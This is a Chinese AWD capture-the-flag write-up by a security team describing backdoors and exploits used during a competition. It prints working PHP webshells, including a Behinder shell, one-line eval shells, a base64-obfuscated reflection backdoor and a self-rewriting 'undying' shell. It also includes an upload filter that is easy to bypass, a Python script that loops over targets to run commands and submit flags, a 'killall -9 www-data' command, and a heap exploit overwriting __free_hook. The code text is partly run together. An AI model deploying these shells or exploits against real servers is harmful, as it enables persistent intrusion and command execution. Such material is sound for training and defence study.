D盾先扫一下发现已知后门
看了一眼是冰蝎后门
1<?php
2@error_reporting(0);
3session_start();
4if(isset($_GET['pass']))
5{
6$key=substr(md5(uniqid(rand())),16);
7$_SESSION['k']=$key;
8print$key;
9}
10else
11{
12$key=$_SESSION['k'];
13$post=file_get_contents("php://input");
14if(!extension_loaded('openssl'))
15{
16$t="base64_"."decode";
17$post=$t($post."");
18
19for($i=0;$i<strlen($post);$i++){
20$post[$i]=$post[$i]^$key[$i+1&15];
21}
22}
23else
24{
25$post=openssl_decrypt($post,"AES128",$key);
26}
27$arr=explode('|',$post);
28$func=$arr[0];
29$params=$arr[1];
30classC{publicfunction__construct($p){eval($p."");}}
31@newC($params);
32}
33?>
之前写过分析如何用python实现利用
参看文章:https://xz.aliyun.com/t/6520
漏洞点二隐藏后门
登上服务器进入web根目录看到.eval.php
这里记录一个坑点:当时我是使用tar打包的源码,但是tar命令默认不打包隐藏
文件,我进行打包完就把这个.eval.php文件删了,结果导致我不知道后门是什
么无法利用,血亏,好在一开始主办方忘记在服务器上放flag文件了,导致比赛
重新开始,我上去先看了下这个文件
1<?php
2eval($_POST['cmd']);
3?>
是和简单的一句话
漏洞点三文件上传
在流量中看到有师傅一直在对我/code/usercheck.php页面进行post
上传,冷静分析一波:在第41行看到包含了处理上传的文件
upload.php
1<?php
2require('upload.php');
3if(isset($_POST['sf'])&&$_POST['sf']=='sf')
4{
5$file=$_FILES['file'];
6$upload=newupload();
7$upload‐>upload_file($file);
8}
9?>
跟进一下当前目录的upload.php文件
1<?php
2classupload{
3private$error=0;//错误代号
4private$msg='';//信息
5private$save_path='../static/img/';//文件保存路径
6private$uploaded='';//路径.文件名
7private$file='';//等待上传的文件
8private$file_name='';//文件原名称
9private$file_size=0;//文件大小
10private$file_tmp_name='';//文件临时名称
11
12publicfunctionupload_file($file){
13$this‐>file_name=$file['name'];
14$this‐>file_size=$file['size'];
15$this‐>error=$file['error'];
16$this‐>file_tmp_name=$file['tmp_name'];
17
18if($this‐>waf($this‐>file_name))
19{
20$this‐>uploaded=$this‐>save_path.$this‐>file_name;
21if(move_uploaded_file($this‐>file_tmp_name,$this‐>uploaded)){
22$this‐>msg='文件上传成功';
23}else{
24$this‐>msg='文件上传失败';
25}
26}
27else
28{
29$this‐>msg='有黑阔!';
30}
31echo"<script>alert("{$this‐>msg}");window.location.href="index_chan
ge‐pic.php"</script>";
32}
33
34privatefunctionwaf($filename)
35{
36$ext=strtolower(strrchr($filename,'.'));
37$check=true;
38$pattern="php|php3|php4|php5|phtml|pht";
39if(preg_match("/$pattern/i",$ext))
40{
41$check=false;
42}
43return$check;
44}
45}
46?>
第18行调用了一个waf,在第34行定义,过滤了一些后缀,并且区分大
小写,但是显然这里过滤的不够严格,常见的.htaccess、.user.ini都没
有进行过滤,这里我尝试利用.htaccess没成功,赛后听说本来的考点
是.user.ini但是服务器环境问题导致漏洞无法利用
漏洞点一内置后门
D盾扫一扫
发现内置后门,但是需要$islogin=1,也就是只有登录成功才能利用
/admin/usercheck.php
1<?php
2include('../api.inc.php');
3//session_start();
4if($islogin==1){
5@eval(base64_decode($_POST[a]));
6}
7else{
8echo"shutdown";
9}
数据库中拿到密码登录后再利用
漏洞点二
同样也抓到流量
/get/index.php
1<?php
2
3classsyste
4{}
5$s114514=newReflectionClass('syste');
6$a=$s114514‐>getName();
7functiondedecocodede($str)
8{
9returnbase64_decode($str);
10}
11@eval(dedecocodede('JGI9JGEuJ20nOyRiKCRfUE9TVFsnY2MnXSk7'));
12include("../api.inc.php");
13if($confs['template_index']&&file_exists("../template/index/{$confs
['template_index']}/get/index.php")){
14$index_template=$confs['template_index'];
15}else{
16$index_template="xiaofu";
17}
18include("../template/index/{$index_template}/get/index.php");
分析:定义了一个dedecocodede函数进行base64解码,之后执行了eval函
数,内容经过刚刚定义的这个函数的一次解码,解码得
1$b=$a.'m';$b($_POST['cc']);
第5行创建了syste这个类的反射类,第6行获取到了这个类的名称,然后拼接了
一个m字符就是system了
比赛的时候我就没分析,直接重放数据包直接打了
漏洞点三任意文件读取
D盾中扫到,也可以继续抓到流量
任意文件读取,直接读取根目录下flag即可
exp:
1importrequests
2importtime
3importjson
4
5defproduceUrl(ip,attUrl):
6iplist=[]
7forxinxrange(1,16):
8ifx<10:
9iplist.append("http://{}:20{}80{}".format(ip,x,attUrl))
10else:
11iplist.append("http://{}:2{}80{}".format(ip,x,attUrl))
12returniplist
13
14defsubflag(flag):
15headers={'Content‐Type':'application/json'}
16url="http://47.108.30.122/commit/flag"
17data={'flag':flag,'token':'7220df9c442d9e936d3636d081768d52'}
18r=requests.post(url,headers=headers,data=json.dumps(data))
19print(r.content)
20
21defgetFlag1():
22URL="/.eval.php"
23ip=produceUrl('47.108.30.122',URL)
24foriinip:
25data={'cmd':"system('cat/flag');"}
26res=requests.post(url=i,data=data,timeout=1.5).text
27if"flag"inres:
28print(res)
29subflag(res)
30print("[+]..............")
31time.sleep(50)
32
33defrideShell():
34URL="/code/.eval.php"
35ip=produceUrl('47.108.30.122',URL)
36foriinip:
37data={'cmd':"system('cat/flag');"}
38res=requests.post(url=i,data=data,timeout=1.5).text
39if"flag"inres:
40print(res)
41subflag(res)
42print("[+]..............")
43time.sleep(50)
44
45defgetFlag2():
46URL="/360safe/360webscan.php"
47ip=produceUrl('47.108.30.122',URL)
48foriinip:
49data={'360':"/flag"}
50res=requests.post(url=i,data=data,timeout=1.5).text
51if"flag"inres:
52print(res)
53subflag(res)
54print("[+]..............")
55time.sleep(50)
56
57if__name__=='__main__':
58whileTrue:
59getFlag1()
60getFlag2()
61rideShell()
传不死马、激活、删站的部分都没放进去,自行补脑
web运维
骑马
在web1的core目录下发现两个隐藏后门文件
.index.php
1<?php
2set_time_limit(0);//永久执行,直到进程结束
3ignore_user_abort(true);
4//访问后,用户关闭url,进程不断,继续执行
5
6$path=dirname(__FILE__);
7$file=$path.'/.eval.php';//生成恶意的隐藏文件(Linux系统)
8$shell='<?php@eval($_REQUEST["caidao"]);?>';
9
10while(true){
11file_put_contents($file,$shell);
12system('chmod777.eval.php;');
13
14usleep(15000000);//微秒级别,中间隔15秒迷惑对方
15}
16?>
.eval.php
1<?php@eval($_REQUEST["caidao"]);?>
分析:这是师傅们的不死马,但是存在两个严重问题:
1.在生成不死马以后并没有使用unlink()函数进行自删除,留下了原始文件
2.生成的密码简单,路径统一,容易被骑马
然后每轮能骑好几个队伍的
删不死马
先给自己种个马,然后使用这个马(www-data权限)执行
1killall‐9www‐data
2importrequests
3importjson
4#p=process('./pwn')
5
6defmain(port):
7p=remote("39.100.119.37",port)
8libc=ELF("libc‐2.27.so")
9defcreate(size,content):
10p.sendlineafter(">>","1")
11p.sendlineafter("size:",str(size))
12p.sendlineafter("content:",content)
13
14defshow(index):
15p.sendlineafter(">>","3")
16p.sendlineafter("idx:",str(index))
17deffree(index):
18p.sendlineafter(">>","2")
19p.sendlineafter("idx:",str(index))
20
21create(0xf8,"a")#0
22create(0x10,"/bin/shx00")#1
23foriinrange(7):
24free(0)
25free(0)
26show(0)
27
28main_addr=u64(p.recv(6).ljust(8,"x00"))
29libc_base=main_addr‐(0x7f9787cefca0‐0x00007f9787904000)
30printhex(libc_base)
31create(0xf8,"x00")#2
32create(0x68,"a")#3
33free(3)
34free(3)
35
36create(0x68,p64(libc_base+libc.symbols["__free_hook"]))
37create(0x68,"b")
38create(0x68,p64(libc_base+libc.symbols["system"]))
39free(1)
40p.sendline('catflag')
41flag=p.recv()
42printflag
43subflag(flag)
44p.close()
45
46defsubflag(flag):
47headers={'Content‐Type':'application/json'}
48url="http://39.100.119.37:10000/commit/flag"
49data={'flag':flag,'token':'ebb40869cd909958b9d153efc79b4b06'}
50r=requests.post(url,headers=headers,data=json.dumps(data))
51print(r.content)
52if'Success'instr(r.content)or"quick"instr(r.content):
53return1
54
55if__name__=="__main__":
56while(1):
57foriinrange(1,35):
58s=[]
59try:
60port="5{}80".format(str(i).rjust(2,'0'))
61res=main(port)
62ifres==1:
63s.append(port)
64except:
65printport,'wrong'
66prints
67sleep(120)
本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/118614.html